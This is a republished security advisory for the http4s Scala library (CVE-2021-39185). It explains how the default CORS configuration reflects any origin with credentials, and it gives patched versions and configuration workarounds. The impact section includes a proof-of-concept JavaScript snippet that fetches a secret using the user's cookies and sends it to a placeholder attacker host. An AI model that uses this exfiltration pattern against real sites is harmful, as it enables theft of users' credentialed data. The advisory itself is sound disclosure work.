Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS01MmNmLTIyNmYtcmhyNs0ViQ
Default CORS config allows any origin with credentials
Impact
Origin reflection attack
The default CORS configuration is vulnerable to an origin reflection attack. Take the following http4s app app
, using the default CORS config, running at https://vulnerable.example.com:
val routes: HttpRoutes[F] = HttpRoutes.of {
case req if req.pathInfo === "/secret" =>
Response(Ok).withEntity(password).pure[F]
}
val app = CORS(routes.orNotFound)
The following request is made to our server:
GET /secret HTTP/1.1
Host: vulnerable.example.com
Origin: https://adversary.example.net
Cookie: sessionId=...
When the anyOrigin
flag of CORSConfig
is true
, as is the case in the default argument to CORS
, the middleware will allow sharing its resource regardless of the allowedOrigins
setting. Paired with the default allowCredentials
, the server approves sharing responses that may have required credentials for sensitive information with any origin:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://adversary.example.org
Access-Control-Allow-Credentials: true
Content-Type: text/plain
p4ssw0rd
A malicious script running on https://adversary.example.org/
can then exfiltrate sensitive information with the user's credentials to vulnerable.exmaple.org
:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable.example.org/secret',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//bad-people.example.org/log?key='+this.responseText;
};
Null origin attack
The middleware is also susceptible to a Null Origin Attack. A user agent may send Origin: null
when a request is made from a sandboxed iframe. The CORS-wrapped http4s app will respond with Access-Control-Allow-Origin: null
, permitting a similar exfiltration of secrets to the above.
Patches
The problem is fixed in 0.21.27, 0.22.3, 0.23.2, and 1.0.0-M25. The original CORS
implementation and CORSConfig
are deprecated. In addition to the origin vulnerability, the following deficiencies in the deprecated version are fixed in the new signatures:
Migration
The CORS
object exposes a default CORSPolicy
via CORS.policy
. This can be configured with various with*
methods, like any http4s builder. Finally, the CORSPolicy
may be applied to any Http
, like any other http4s middleware:
val routes: HttpRoutes[F] = ???
val cors = CORS.policy
.withAllowOriginAll
.withAllowCredentials(false)
.apply(routes)
Workarounds
It is possible to be safe in unpatched versions, but note the following defects exist:
- The
anyMethod
flag, enabled by default, accepts methods that cannot be enumerated in theAccess-Control-Allow-Methods
preflight response. - Rejected CORS requests receive a
403
response, when the client should be the enforcement point. The server should just omit all CORS response headers. - Does not send
Vary: Access-Control-Request-Headers
on preflight requests. This may confuse caches. - Does not validate the
Access-Control-Request-Headers
of a preflight request. This validation is not mandated by the Fetch standard, but is typical of most server implementations. - Needlessly sends
Vary: Access-Control-Request-Method
on non-preflight requests. This should be harmless in practice. - Needlessly sends
Access-Control-Max-Age
header on non-preflight requests. This should be harmless in practice. - Sends an invalid
Access-Control-Allow-Credentials: false
instead of omitting the header. This should be harmless in practice.
Explicit origins
In versions before the patch, set anyOrigin
to false
, and then specifically include trusted origins in allowedOrigins
.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(
anyOrigin = false,
allowOrigins = Set("http://trusted.example.com")
)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default
.withAnyOrigin(false)
.withAllowedOrigins(Set("http://trusted.example.com"))
val cors = CORS(routes, config)
Disable credentials
Alternatively, sharing responses tainted by credentials can be deprecated.
0.21.x
val routes: HttpRoutes[F] = ???
val config = CORS.DefaultConfig.copy(allowCredentials = false)
val cors = CORS(routes, config)
0.22.x, 0.23.x, 1.x
val routes: HttpRoutes[F] = ???
val config = CORSConfig.default.withAllowedCredentials(false)
val cors = CORS(routes, config)
References
For more information
If you have any questions or comments about this advisory:
- Open an issue in GitHub
- Contact us via the http4s security policy
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01MmNmLTIyNmYtcmhyNs0ViQ
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 2 years ago
Updated: about 1 year ago
CVSS Score: 9.1
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Identifiers: GHSA-52cf-226f-rhr6, CVE-2021-39185
References:
- https://github.com/http4s/http4s/security/advisories/GHSA-52cf-226f-rhr6
- https://nvd.nist.gov/vuln/detail/CVE-2021-39185
- https://github.com/http4s/http4s/releases/tag/v0.23.2
- https://github.com/advisories/GHSA-52cf-226f-rhr6
Blast Radius: 1.0
Affected Packages
maven:org.http4s:http4s-server
Affected Version Ranges: >= 0.23.0, < 0.23.2, >= 0.22.0, < 0.22.3, < 0.21.27Fixed in: 0.23.2, 0.22.3, 0.21.27